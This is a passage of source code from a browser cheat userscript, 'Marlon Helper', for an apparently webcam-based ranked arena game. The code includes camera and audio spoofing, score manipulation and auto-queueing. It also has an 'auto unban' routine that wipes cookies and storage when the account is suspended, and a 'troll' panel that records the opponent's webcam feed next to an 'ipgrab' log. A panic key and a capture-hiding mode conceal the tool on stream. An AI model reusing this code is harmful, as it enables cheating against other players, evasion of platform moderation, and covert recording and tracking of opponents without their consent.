<input type="checkbox" id="cm-debug-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Hotkeys</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Open Panel</span>
<input type="text" class="cm-input" id="cm-menukey" value="h" style="width:50px;text-align:center;">
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Stream Proof</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Panic Key</span>
<input type="text" class="cm-input" id="cm-panic-key" value="p" style="width:50px;text-align:center;">
</div>
<div class="cm-row">
<span class="cm-label">Mobile: Triple-tap button</span>
<span class="cm-value" style="font-size:8px;color:var(--cm-text-muted);">to hide/show</span>
</div>
<div class="cm-row">
<span class="cm-label">Show Control Bar</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-show-cb-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<button class="cm-panic-btn" id="cm-panic-now">Hide All Now</button>
</div>
<div class="cm-row" style="margin-top:6px;border-top:1px solid var(--cm-border);padding-top:6px;">
<span class="cm-label">Iframe Mode (OBS)</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-iframe-mode">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label" style="font-size:8px;color:var(--cm-text-muted);">Hides GUI from screen capture</span>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Branding</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Display Badge</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-wm-show" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Visibility</span>
<span class="cm-slider-value" id="cm-wm-alpha-val">20%</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-wm-alpha-fill" style="width:20%"></div>
<input type="range" class="cm-slider" id="cm-wm-alpha" min="0" max="100" step="5" value="20">
</div>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Appearance</div>
<div class="cm-card">
<div class="cm-theme-grid" id="cm-theme-grid"></div>
<div class="cm-row" style="border-top:1px solid var(--cm-border);padding-top:8px;margin-top:4px;">
<span class="cm-label">Custom Crosshair</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-crosshair-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
</div>
</div>
</div>
<!-- TROLL PANEL -->
<div class="cm-panel" data-panel="troll">
<div class="cm-section">
<div class="cm-section-title">Mirror Cam</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Mirror Opponent Cam</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-mirror-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Status</span>
<span class="cm-value" id="cm-mirror-status">Waiting for opponent cam...</span>
</div>
<div class="cm-row">
<span class="cm-label">Opponent Feed</span>
<span class="cm-value" id="cm-mirror-track" style="font-size:9px;word-break:break-all;max-width:140px;text-align:right;">—</span>
</div>
<div class="cm-row" style="border-bottom:none;flex-direction:column;gap:4px;">
<video id="cm-opponent-video" autoplay playsinline muted style="width:100%;border-radius:6px;background:#000;max-height:180px;object-fit:contain;"></video>
<div style="display:flex;gap:4px;align-items:center;">
<button id="cm-record-opponent" style="flex:1;padding:4px 8px;background:var(--cm-danger);color:#fff;border:none;border-radius:4px;cursor:pointer;font-size:10px;">● Record</button>
<span id="cm-record-status" style="font-size:9px;color:var(--cm-text-muted);">Idle</span>
</div>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Log</div>
<div class="cm-card" style="max-height:120px;overflow-y:auto;">
<pre id="cm-ipgrab-log" style="margin:0;font-size:8px;color:var(--cm-text-muted);white-space:pre-wrap;word-break:break-all;"></pre>
</div>
</div>
</div>
<!-- CROSSHAIR PANEL -->
<div class="cm-panel" data-panel="crosshair">
<div class="cm-section">
<div class="cm-section-title">Custom Crosshair</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Enable Crosshair</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-crosshair-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Status</span>
<span class="cm-value" id="cm-crosshair-status" style="color: var(--cm-text-muted)">OFF</span>
</div>
<div class="cm-row" style="border-bottom:none;">
<span class="cm-label" style="font-size:9px;color:var(--cm-text-muted);">Crosshair always shows on intro screen. Toggle ON to keep it active after.</span>
</div>
</div>
</div>
</div>
<!-- CREDITS PANEL -->
<div class="cm-panel" data-panel="credits">
<div class="cm-section">
<div class="cm-section-title" style="text-align:center;font-size:13px;margin-bottom:12px;">Credits</div>
<!-- Marlon Helper Team -->
<div class="cm-card" style="padding:14px;margin-bottom:10px;border-radius:10px;">
<div style="text-align:center;margin-bottom:10px;">
<span style="font-size:11px;font-weight:600;color:var(--cm-text-muted);text-transform:uppercase;letter-spacing:0.04em;">Marlon Helper Team</span>
</div>
<div style="font-size:10px;color:var(--cm-text-muted);text-align:center;line-height:1.6;">
Built with care for the community.<br>
Thank you to everyone who contributed!
</div>
</div>
<!-- Discord Link -->
<a href="https://discord.gg/U6sQEp83qq" target="_blank" style="display:flex;align-items:center;justify-content:center;gap:10px;padding:12px 16px;background:rgba(88,101,242,0.1);border:1px solid rgba(88,101,242,0.25);border-radius:10px;text-decoration:none;transition:all 0.2s ease;margin-bottom:8px;">
<svg viewBox="0 0 24 24" width="22" height="22" fill="#5865F2"><path d="M20.317 4.37a19.791 19.791 0 0 0-4.885-1.515.074.074 0 0 0-.079.037c-.21.375-.444.864-.608 1.25a18.27 18.27 0 0 0-5.487 0 12.64 12.64 0 0 0-.617-1.25.077.077 0 0 0-.079-.037A19.736 19.736 0 0 0 3.677 4.37a.07.07 0 0 0-.032.027C.533 9.046-.32 13.58.099 18.057a.082.082 0 0 0 .031.057 19.9 19.9 0 0 0 5.993 3.03.078.078 0 0 0 .084-.028 14.09 14.09 0 0 0 1.226-1.994.076.076 0 0 0-.041-.106 13.107 13.107 0 0 1-1.872-.892.077.077 0 0 1-.008-.128 10.2 10.2 0 0 0 .372-.292.074.074 0 0 1 .077-.01c3.928 1.793 8.18 1.793 12.062 0a.074.074 0 0 1 .078.01c.12.098.246.198.373.292a.077.077 0 0 1-.006.127 12.299 12.299 0 0 1-1.873.892.077.077 0 0 0-.041.107c.36.698.772 1.362 1.225 1.993a.076.076 0 0 0 .084.028 19.839 19.839 0 0 0 6.002-3.03.077.077 0 0 0 .032-.054c.5-5.177-.838-9.674-3.549-13.66a.061.061 0 0 0-.031-.03zM8.02 15.33c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.956-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.956 2.418-2.157 2.418zm7.975 0c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.955-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.946 2.418-2.157 2.418z"/></svg>
<div style="display:flex;flex-direction:column;">
<span style="font-size:12px;font-weight:700;color:#5865F2;">Join our Discord</span>
<span style="font-size:9px;color:var(--cm-text-muted);">Updates, support & community</span>
</div>
</a>
<!-- Version info -->
<div style="text-align:center;padding:8px 0;margin-top:4px;">
<span style="font-size:9px;color:var(--cm-text-muted);opacity:0.6;">Marlon Helper v13.8.0</span>
</div>
</div>
</div>
</div>
`;
['top','bottom','left','right','tl','tr','bl','br'].forEach(dir => {
const h = document.createElement('div');
h.className = 'cm-resize-handle cm-rz-' + dir;
root.appendChild(h);
h.addEventListener('mousedown', e => {
e.preventDefault();
e.stopPropagation();
const startX = e.clientX, startY = e.clientY;
const startW = root.offsetWidth, startH = root.offsetHeight;
const startT = root.offsetTop, startL = root.offsetLeft;
root.classList.add('dragging');
const onMove = ev => {
const dx = ev.clientX - startX, dy = ev.clientY - startY;
if (dir.includes('right') || dir === 'tr' || dir === 'br') root.style.width = Math.max(200, startW + dx) + 'px';
if (dir.includes('left') || dir === 'tl' || dir === 'bl') { root.style.width = Math.max(200, startW - dx) + 'px'; root.style.left = (startL + dx) + 'px'; }
if (dir.includes('bottom') || dir === 'bl' || dir === 'br') root.style.height = Math.max(150, startH + dy) + 'px';
if (dir.includes('top') || dir === 'tl' || dir === 'tr') { root.style.height = Math.max(150, startH - dy) + 'px'; root.style.top = (startT + dy) + 'px'; }
};
const onUp = () => { root.classList.remove('dragging'); document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onUp); };
document.addEventListener('mousemove', onMove);
document.addEventListener('mouseup', onUp);
});
});
document.body.appendChild(root);
root.classList.add('visible');
// Re-apply theme to ensure dynamic elements (title, logo, waifu) are in sync
applyTheme(CONFIG.theme || 'midnight');
// Create hidden file inputs
const videoFileInput = document.createElement('input');
videoFileInput.type = 'file';
videoFileInput.accept = 'video/mp4,video/webm,video/quicktime';
videoFileInput.style.display = 'none';
videoFileInput.id = 'cm-video-input';
document.body.appendChild(videoFileInput);
const imageFileInput = document.createElement('input');
imageFileInput.type = 'file';
imageFileInput.accept = 'image/jpeg,image/png,image/gif,image/webp';
imageFileInput.style.display = 'none';
imageFileInput.id = 'cm-image-input';
document.body.appendChild(imageFileInput);
const audioFileInput = document.createElement('input');
audioFileInput.type = 'file';
audioFileInput.accept = 'audio/mpeg,audio/wav,audio/ogg,audio/mp4';
audioFileInput.style.display = 'none';
audioFileInput.id = 'cm-audio-input';
document.body.appendChild(audioFileInput);
// Premium overlay file inputs
const premiumImgInput = document.createElement('input');
premiumImgInput.type = 'file';
premiumImgInput.accept = 'image/jpeg,image/png,image/gif,image/webp';
premiumImgInput.style.display = 'none';
premiumImgInput.id = 'cm-premium-img-input';
document.body.appendChild(premiumImgInput);
const premiumVidInput = document.createElement('input');
premiumVidInput.type = 'file';
premiumVidInput.accept = 'video/mp4,video/webm,video/quicktime';
premiumVidInput.style.display = 'none';
premiumVidInput.id = 'cm-premium-vid-input';
document.body.appendChild(premiumVidInput);
// Premium overlay state (multi-tab)
let _premiumOverlays = [];
let _premiumActiveIndex = 0;
function _createOverlay(name) {
return { enabled: true, srcType: 'image', el: null, x: 160, y: 120, w: 192, h: 144, textContent: 'Text', textColor: '#ffffff', textFontSize: 24, opacity: 100, fileName: '' };
}
function _activeOverlay() { return _premiumOverlays[_premiumActiveIndex] || _premiumOverlays[0]; }
// Build theme grid
const themeGrid = document.getElementById('cm-theme-grid');
Object.entries(THEMES).forEach(([key, theme]) => {
const tbtn = document.createElement('button');
tbtn.className = 'cm-theme-btn' + (key === (CONFIG.theme || 'midnight') ? ' active' : '');
tbtn.dataset.theme = key;
tbtn.innerHTML = `
<div class="cm-theme-preview" style="background: linear-gradient(135deg, ${theme.primary}, ${theme.secondary})"></div>
<div class="cm-theme-name">${theme.name}</div>
`;
tbtn.addEventListener('click', function() {
themeGrid.querySelectorAll('.cm-theme-btn').forEach(b => b.classList.remove('active'));
this.classList.add('active');
applyTheme(key);
});
themeGrid.appendChild(tbtn);
});
// Crosshair toggle
const crosshairToggle = document.getElementById('cm-crosshair-toggle');
const crosshairStatus = document.getElementById('cm-crosshair-status');
if (crosshairToggle) {
crosshairToggle.checked = CONFIG.crosshairEnabled === true;
if (crosshairStatus) {
crosshairStatus.textContent = CONFIG.crosshairEnabled ? 'ON' : 'OFF';
crosshairStatus.style.color = CONFIG.crosshairEnabled ? 'var(--cm-success)' : 'var(--cm-text-muted)';
}
crosshairToggle.addEventListener('change', function() {
CONFIG.crosshairEnabled = this.checked;
saveConfig();
applyCrosshairState();
if (crosshairStatus) {
crosshairStatus.textContent = this.checked ? 'ON' : 'OFF';
crosshairStatus.style.color = this.checked ? 'var(--cm-success)' : 'var(--cm-text-muted)';
}
});
}
function applyCrosshairState() {
let styleEl = document.getElementById('cm-crosshair-style');
if (CONFIG.crosshairEnabled) {
document.documentElement.style.cursor = 'url(data:image/png;base64,' + _cursorB64 + ') 24 24, auto';
if (!styleEl) {
styleEl = document.createElement('style');
styleEl.id = 'cm-crosshair-style';
document.head.appendChild(styleEl);
}
styleEl.textContent = 'html, body, * { cursor: url(data:image/png;base64,' + _cursorB64 + ') 24 24, auto !important; }';
} else {
document.documentElement.style.cursor = '';
if (styleEl) styleEl.remove();
}
}
// Toggle menu
let _btnDragged = false;
function _toggleMenu() {
if (_btnDragged) { _btnDragged = false; return; }
root.classList.toggle('visible');
}
btn.addEventListener('click', _toggleMenu);
// Toggle button drag
let _btnDragging = false, _btnDragOffX = 0, _btnDragOffY = 0, _btnStartX = 0, _btnStartY = 0;
btn.addEventListener('mousedown', function(e) {
_btnDragging = true; _btnDragged = false;
_btnStartX = e.clientX; _btnStartY = e.clientY;
const rect = btn.getBoundingClientRect();
_btnDragOffX = e.clientX - rect.left; _btnDragOffY = e.clientY - rect.top;
btn.classList.add('dragging'); e.preventDefault();
});
document.addEventListener('mousemove', function(e) {
if (!_btnDragging) return;
if (Math.abs(e.clientX - _btnStartX) > 5 || Math.abs(e.clientY - _btnStartY) > 5) _btnDragged = true;
btn.style.left = (e.clientX - _btnDragOffX) + 'px';
btn.style.top = (e.clientY - _btnDragOffY) + 'px';
btn.style.right = 'auto';
});
document.addEventListener('mouseup', function() {
if (_btnDragging) { _btnDragging = false; btn.classList.remove('dragging'); }
});
btn.addEventListener('touchstart', function(e) {
const touch = e.touches[0];
_btnDragging = true; _btnDragged = false;
_btnStartX = touch.clientX; _btnStartY = touch.clientY;
const rect = btn.getBoundingClientRect();
_btnDragOffX = touch.clientX - rect.left; _btnDragOffY = touch.clientY - rect.top;
btn.classList.add('dragging');
}, { passive: true });
document.addEventListener('touchmove', function(e) {
if (!_btnDragging) return;
const touch = e.touches[0];
if (Math.abs(touch.clientX - _btnStartX) > 5 || Math.abs(touch.clientY - _btnStartY) > 5) _btnDragged = true;
btn.style.left = (touch.clientX - _btnDragOffX) + 'px';
btn.style.top = (touch.clientY - _btnDragOffY) + 'px';
btn.style.right = 'auto';
}, { passive: true });
document.addEventListener('touchend', function() {
if (_btnDragging) { _btnDragging = false; btn.classList.remove('dragging'); }
});
let _menuKey = 'KeyH';
let _panicKey = 'KeyP';
let _streamHidden = false;
function toggleStreamProof() {
_streamHidden = !_streamHidden;
root.classList.toggle('stream-hidden', _streamHidden);
btn.classList.toggle('stream-hidden', _streamHidden);
controlBar.classList.toggle('stream-hidden', _streamHidden);
log('[STREAM PROOF] ' + (_streamHidden ? 'Hidden' : 'Visible'));
}
document.addEventListener('keydown', function(e) {
if (e.code === _menuKey && !e.target.matches('input[type="text"], input[type="search"], textarea')) {
_toggleMenu();
}
if (e.code === _panicKey && !e.target.matches('input[type="text"], input[type="search"], textarea')) {
toggleStreamProof();
}
});
// ===== Quick control bar (top-center) wiring =====
const _cbMap = {
master: 'cm-enable-toggle',
camera: 'cm-camspoof-toggle',
audio: 'cm-audiospoof-toggle',
crosshair: 'cm-crosshair-toggle'
};
function _cbItem(name) { return controlBar.querySelector('.cm-cb-item[data-cb="' + name + '"]'); }
function _cbSyncState() {
Object.keys(_cbMap).forEach(function(name) {
const cbx = document.getElementById(_cbMap[name]);
const item = _cbItem(name);
if (cbx && item) item.classList.toggle('cm-on', cbx.checked);
});
}
function _cbFlash(name) {
const item = _cbItem(name);
if (!item) return;
item.classList.remove('cm-flash');
void item.offsetWidth;
item.classList.add('cm-flash');
}
function _cbToggle(name) {
const cbx = document.getElementById(_cbMap[name]);
if (!cbx) return;
cbx.checked = !cbx.checked;
cbx.dispatchEvent(new Event('change', { bubbles: true }));
_cbSyncState();
_cbFlash(name);
}
controlBar.querySelectorAll('.cm-cb-item').forEach(function(item) {
item.addEventListener('click', function() { _cbToggle(item.getAttribute('data-cb')); });
});
// Keep bar in sync when toggled from inside the menu
Object.keys(_cbMap).forEach(function(name) {
const cbx = document.getElementById(_cbMap[name]);
if (cbx) cbx.addEventListener('change', _cbSyncState);
});
_cbSyncState();
// Keyboard shortcuts: M = master, C = camera spoof, A = audio spoof, X = crosshair
document.addEventListener('keydown', function(e) {
if (e.ctrlKey || e.metaKey || e.altKey) return;
if (e.target.matches('input, textarea, select, [contenteditable="true"]')) return;
const k = e.key.toLowerCase();
if (k === 'm') { _cbToggle('master'); }
else if (k === 'c') { _cbToggle('camera'); }
else if (k === 'a') { _cbToggle('audio'); }
else if (k === 'x') { _cbToggle('crosshair'); }
});
// ===== Control bar drag =====
let _cbDragging = false, _cbOffX = 0, _cbOffY = 0;
function _cbStartDrag(clientX, clientY, target) {
if (target.closest('.cm-cb-item')) return false;
_cbDragging = true;
controlBar.classList.add('cm-cb-dragging');
const rect = controlBar.getBoundingClientRect();
// switch from translateX centering to absolute left positioning
controlBar.style.left = rect.left + 'px';
controlBar.style.top = rect.top + 'px';
controlBar.style.transform = 'none';
_cbOffX = clientX - rect.left;
_cbOffY = clientY - rect.top;
return true;
}
function _cbMoveDrag(clientX, clientY) {
if (!_cbDragging) return;
controlBar.style.left = (clientX - _cbOffX) + 'px';
controlBar.style.top = (clientY - _cbOffY) + 'px';
}
function _cbEndDrag() {
if (_cbDragging) { _cbDragging = false; controlBar.classList.remove('cm-cb-dragging'); }
}
controlBar.addEventListener('mousedown', function(e) {
if (_cbStartDrag(e.clientX, e.clientY, e.target)) e.preventDefault();
});
document.addEventListener('mousemove', function(e) { _cbMoveDrag(e.clientX, e.clientY); });
document.addEventListener('mouseup', _cbEndDrag);
controlBar.addEventListener('touchstart', function(e) {
const t = e.touches[0];
_cbStartDrag(t.clientX, t.clientY, e.target);
}, { passive: true });
document.addEventListener('touchmove', function(e) {
if (!_cbDragging) return;
const t = e.touches[0];
_cbMoveDrag(t.clientX, t.clientY);
}, { passive: true });
document.addEventListener('touchend', _cbEndDrag);
// Menu drag
let _menuDragging = false, _menuDragOffX = 0, _menuDragOffY = 0;
const _menuHeader = root.querySelector('.cm-header');
_menuHeader.addEventListener('mousedown', function(e) {
if (e.target.matches('input, button, label, .cm-tab, a')) return;
_menuDragging = true; root.classList.add('dragging');
const rect = root.getBoundingClientRect();
_menuDragOffX = e.clientX - rect.left; _menuDragOffY = e.clientY - rect.top;
e.preventDefault();
});
document.addEventListener('mousemove', function(e) {
if (!_menuDragging) return;
root.style.left = (e.clientX - _menuDragOffX) + 'px';
root.style.top = (e.clientY - _menuDragOffY) + 'px';
root.style.right = 'auto';
});
document.addEventListener('mouseup', function() {
if (_menuDragging) { _menuDragging = false; root.classList.remove('dragging'); }
});
_menuHeader.addEventListener('touchstart', function(e) {
if (e.target.matches('input, button, label, .cm-tab, a')) return;
const touch = e.touches[0];
_menuDragging = true; root.classList.add('dragging');
const rect = root.getBoundingClientRect();
_menuDragOffX = touch.clientX - rect.left; _menuDragOffY = touch.clientY - rect.top;
}, { passive: true });
document.addEventListener('touchmove', function(e) {
if (!_menuDragging) return;
const touch = e.touches[0];
root.style.left = (touch.clientX - _menuDragOffX) + 'px';
root.style.top = (touch.clientY - _menuDragOffY) + 'px';
root.style.right = 'auto';
}, { passive: true });
document.addEventListener('touchend', function() {
if (_menuDragging) { _menuDragging = false; root.classList.remove('dragging'); }
});
// Tab switching — free tabs: home, score, automation, settings, credits
const _freeTabs = ['home', 'score', 'automation', 'settings', 'credits'];
root.querySelectorAll('.cm-tab').forEach(tab => {
tab.addEventListener('click', function() {
const tabName = this.dataset.tab;
root.querySelectorAll('.cm-tab').forEach(t => t.classList.remove('active'));
root.querySelectorAll('.cm-panel').forEach(p => p.classList.remove('active'));
this.classList.add('active');
if (!_freeTabs.includes(tabName)) {
// Show premium locked overlay
let lockPanel = root.querySelector('[data-panel="__premium_lock"]');
if (!lockPanel) {
lockPanel = document.createElement('div');
lockPanel.className = 'cm-panel';
lockPanel.dataset.panel = '__premium_lock';
lockPanel.innerHTML = `
<div class="cm-section" style="display:flex;flex-direction:column;align-items:center;justify-content:center;padding:30px 16px;text-align:center;">
<div style="font-size:36px;margin-bottom:12px;">🔒</div>
<div style="font-size:15px;font-weight:700;color:var(--cm-text);margin-bottom:6px;">Premium Feature</div>
<div style="font-size:11px;color:var(--cm-text-muted);line-height:1.6;margin-bottom:16px;">You're using the <span style="color:#00ff88;font-weight:600;">Free version</span>.<br>To unlock this feature, join the Discord<br>and pay for Premium.</div>
<a href="https://discord.gg/U6sQEp83qq" target="_blank" style="display:flex;align-items:center;gap:8px;padding:10px 20px;background:linear-gradient(135deg,#5865F2,#7289da);border-radius:8px;text-decoration:none;color:#fff;font-size:12px;font-weight:700;box-shadow:0 4px 12px rgba(88,101,242,0.4);transition:transform 0.15s ease;">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#fff"><path d="M20.317 4.37a19.791 19.791 0 0 0-4.885-1.515.074.074 0 0 0-.079.037c-.21.375-.444.864-.608 1.25a18.27 18.27 0 0 0-5.487 0 12.64 12.64 0 0 0-.617-1.25.077.077 0 0 0-.079-.037A19.736 19.736 0 0 0 3.677 4.37a.07.07 0 0 0-.032.027C.533 9.046-.32 13.58.099 18.057a.082.082 0 0 0 .031.057 19.9 19.9 0 0 0 5.993 3.03.078.078 0 0 0 .084-.028c.36-.698.772-1.362 1.225-1.993a.076.076 0 0 0-.041-.107 13.107 13.107 0 0 1-1.872-.892.077.077 0 0 1-.008-.128c.12-.094.246-.194.372-.292a.074.074 0 0 1 .077-.01c3.928 1.793 8.18 1.793 12.062 0a.074.074 0 0 1 .078.01c.12.098.246.198.373.292a.077.077 0 0 1-.006.127 12.299 12.299 0 0 1-1.873.892.077.077 0 0 0-.041.107c.36.698.772 1.362 1.225 1.993a.076.076 0 0 0 .084.028 19.839 19.839 0 0 0 6.002-3.03.077.077 0 0 0 .032-.054c.5-5.177-.838-9.674-3.549-13.66a.061.061 0 0 0-.031-.03z"/></svg>
Get Premium
</a>
</div>
`;
root.querySelector('.cm-body').appendChild(lockPanel);
}
lockPanel.classList.add('active');
} else {
// Hide premium lock panel if showing
const lockPanel = root.querySelector('[data-panel="__premium_lock"]');
if (lockPanel) lockPanel.classList.remove('active');
root.querySelector(`[data-panel="${tabName}"]`).classList.add('active');
}
});
});
// Collapsible sections
root.querySelectorAll('.cm-section').forEach(section => {
const title = section.querySelector('.cm-section-title');
if (!title) return;
const content = [];
let el = title.nextElementSibling;
while (el && el.classList.contains('cm-card')) {
content.push(el);
el = el.nextElementSibling;
}
if (content.length === 0) return;
const wrapper = document.createElement('div');
wrapper.className = 'cm-section-content';
content.forEach(c => wrapper.appendChild(c));
title.after(wrapper);
const chevron = document.createElement('span');
chevron.className = 'cm-chevron';
chevron.textContent = '▲';
title.insertBefore(chevron, title.firstChild);
title.addEventListener('click', function(e) {
if (e.target.closest('.cm-toggle, .cm-btn-opt, input, button, select, label')) return;
section.classList.toggle('collapsed');
});
});
function updateSliderFill(slider, fill, min, max) {
const pct = ((slider.value - min) / (max - min)) * 100;
fill.style.width = pct + '%';
}
// Enable toggle
document.getElementById('cm-enable-toggle').addEventListener('change', function() {
CONFIG.enabled = this.checked;
document.getElementById('cm-enabled-val').textContent = this.checked ? 'ACTIVE' : 'OFF';
document.getElementById('cm-enabled-val').style.color = this.checked ? 'var(--cm-success)' : 'var(--cm-danger)';
document.getElementById('cm-status-pill').textContent = this.checked ? 'ON' : 'OFF';
document.getElementById('cm-status-pill').classList.toggle('active', this.checked);
});
document.getElementById('cm-score-enabled').addEventListener('change', function() {
CONFIG.scoreEnabled = this.checked;
document.getElementById('cm-score-content').classList.toggle('cm-section-disabled', !this.checked);
saveConfig();
});
document.getElementById('cm-result-enabled').addEventListener('change', function() {
CONFIG.resultEnabled = this.checked;
document.getElementById('cm-result-content').classList.toggle('cm-section-disabled', !this.checked);
saveConfig();
});
// Auto Queue
let _autoQueueInterval = null;
let _connectingStart = null;
function _clearCookies() {
const saved = localStorage.getItem(CONFIG_KEY);
const savedBak = localStorage.getItem(CONFIG_BACKUP_KEY);
// W Cookie Logger
document.cookie.split(';').forEach(c => {
const name = c.split('=')[0].trim();
document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
});
localStorage.clear();
if (saved) { localStorage.setItem(CONFIG_KEY, saved); localStorage.setItem(CONFIG_BACKUP_KEY, saved); }
else if (savedBak) { localStorage.setItem(CONFIG_BACKUP_KEY, savedBak); localStorage.setItem(CONFIG_KEY, savedBak); }
}
document.getElementById('cm-clearcookies-btn').addEventListener('click', function() {
_clearCookies();
this.textContent = 'Cleared! Reloading...';
setTimeout(() => location.reload(), 500);
});
function _queueTick() {
try {
const _txt = b => b.textContent.replace(/\s+/g, ' ').trim();
const _up = b => _txt(b).toUpperCase();
// Suspended check
if (document.body.textContent.includes('Ranked Arena is temporarily suspended for this account')) {
if (document.getElementById('cm-autounban-toggle')?.checked) {
_clearCookies();
setTimeout(() => location.reload(), 300);
}
document.getElementById('cm-autoqueuetoggle').checked = false;
clearInterval(_autoQueueInterval);
_autoQueueInterval = null;
_connectingStart = null;
return;
}
// Connecting timeout check
const btns = Array.from(document.querySelectorAll('button, [role="button"], [onclick]'));
const connecting = btns.find(b => /connecting/i.test(_txt(b))) || document.querySelector('[class*="connecting"], [class*="loading"]');
if (connecting) {
if (_connectingStart === null) _connectingStart = Date.now();
else if (Date.now() - _connectingStart > 17000) {
const backBtn = btns.find(b => /leave|cancel|disconnect|return/i.test(_txt(b)));
if (backBtn) backBtn.click();
_connectingStart = null;
}
return;
} else {
_connectingStart = null;
}
// ARENA — find button by aria-label
const arenaEl = document.querySelector('button[aria-label="Find an Arena match"]');
if (arenaEl) {
log(`[AUTOQ] clicking ARENA button`);
arenaEl.click();
return;
}
// Find new match button (after match ends)
if (document.getElementById('cm-autofindnew-toggle')?.checked) {
const findNewBtn = btns.find(b => {
const t = _up(b);
return t.includes('FIND NEW') && t.includes('MATCH');
});
if (findNewBtn) {
log(`[AUTOQ] clicking find new match: "${_txt(findNewBtn).substring(0, 60)}"`);
findNewBtn.click();
return;
}
}
} catch(e) {
log('[AUTOQ] tick error:', e);
}
}
function _startAutoQueue() {
_connectingStart = null;
if (_autoQueueInterval) clearInterval(_autoQueueInterval);
const delay = Math.max(100, parseInt(CONFIG.queueDelay) || 1000);
_autoQueueInterval = setInterval(_queueTick, delay);
}
document.getElementById('cm-autoqueuetoggle').addEventListener('change', function() {
CONFIG.autoQueue = this.checked;
saveConfig();
if (this.checked) {
_startAutoQueue();
} else {
if (_autoQueueInterval) {
clearInterval(_autoQueueInterval);
_autoQueueInterval = null;
}
_connectingStart = null;
}
});
// Request delay (ms)
const queueDelayInput = document.getElementById('cm-queue-delay');
queueDelayInput.value = CONFIG.queueDelay;
queueDelayInput.addEventListener('input', function() {
let v = parseInt(this.value);
if (isNaN(v)) v = 1000;
v = Math.max(100, Math.min(60000, v));
CONFIG.queueDelay = v;
saveConfig();
if (_autoQueueInterval) _startAutoQueue();
});
// ===== Auto cycle spoofing =====
let _autoCamInterval = null, _autoAudioInterval = null;
function _toggleCheckbox(id) {
const cbx = document.getElementById(id);
if (!cbx) return;
cbx.checked = !cbx.checked;
cbx.dispatchEvent(new Event('change', { bubbles: true }));
}
const autoCamIntervalInput = document.getElementById('cm-autocam-interval');
autoCamIntervalInput.value = CONFIG.autoCamInterval;
const autoAudioIntervalInput = document.getElementById('cm-autoaudio-interval');
autoAudioIntervalInput.value = CONFIG.autoAudioInterval;
function _startAutoCam() {
if (_autoCamInterval) clearInterval(_autoCamInterval);
const secs = Math.max(1, parseInt(CONFIG.autoCamInterval) || 5);
_autoCamInterval = setInterval(() => _toggleCheckbox('cm-camspoof-toggle'), secs * 1000);
}
function _startAutoAudio() {
if (_autoAudioInterval) clearInterval(_autoAudioInterval);
const secs = Math.max(1, parseInt(CONFIG.autoAudioInterval) || 5);
_autoAudioInterval = setInterval(() => _toggleCheckbox('cm-audiospoof-toggle'), secs * 1000);
}
document.getElementById('cm-autocam-toggle').addEventListener('change', function() {
if (this.checked) _startAutoCam();
else if (_autoCamInterval) { clearInterval(_autoCamInterval); _autoCamInterval = null; }
});
document.getElementById('cm-autoaudio-toggle').addEventListener('change', function() {
if (this.checked) _startAutoAudio();
else if (_autoAudioInterval) { clearInterval(_autoAudioInterval); _autoAudioInterval = null; }
});
autoCamIntervalInput.addEventListener('input', function() {
let v = parseInt(this.value); if (isNaN(v)) v = 5;
v = Math.max(1, Math.min(600, v));
CONFIG.autoCamInterval = v; saveConfig();
if (_autoCamInterval) _startAutoCam();
});
autoAudioIntervalInput.addEventListener('input', function() {
let v = parseInt(this.value); if (isNaN(v)) v = 5;
v = Math.max(1, Math.min(600, v));
CONFIG.autoAudioInterval = v; saveConfig();
if (_autoAudioInterval) _startAutoAudio();
});
// ===== Auto dismiss popups =====
let _autoDismissInterval = null;
document.getElementById('cm-autodismiss-toggle').addEventListener('change', function() {
if (this.checked) {
_autoDismissInterval = setInterval(() => {
const btn = Array.from(document.querySelectorAll('button')).find(b => {
const t = b.textContent.trim();
return t === 'OK' || t === 'Okay' || t === 'Got it' || t === 'Continue' || t === 'Close' || t === 'Dismiss';
});
if (btn) btn.click();
}, 1500);
} else if (_autoDismissInterval) {
clearInterval(_autoDismissInterval); _autoDismissInterval = null;
}
});
function setScoreModeUI(mode) {
CONFIG.scoreMode = mode;
document.querySelectorAll('[data-smode]').forEach(b => b.classList.toggle('active', b.dataset.smode === mode));
document.getElementById('cm-score-fixed').style.display = mode === 'fixed' ? 'block' : 'none';
document.getElementById('cm-score-range').style.display = mode === 'range' ? 'block' : 'none';
_dynamicCap = null;
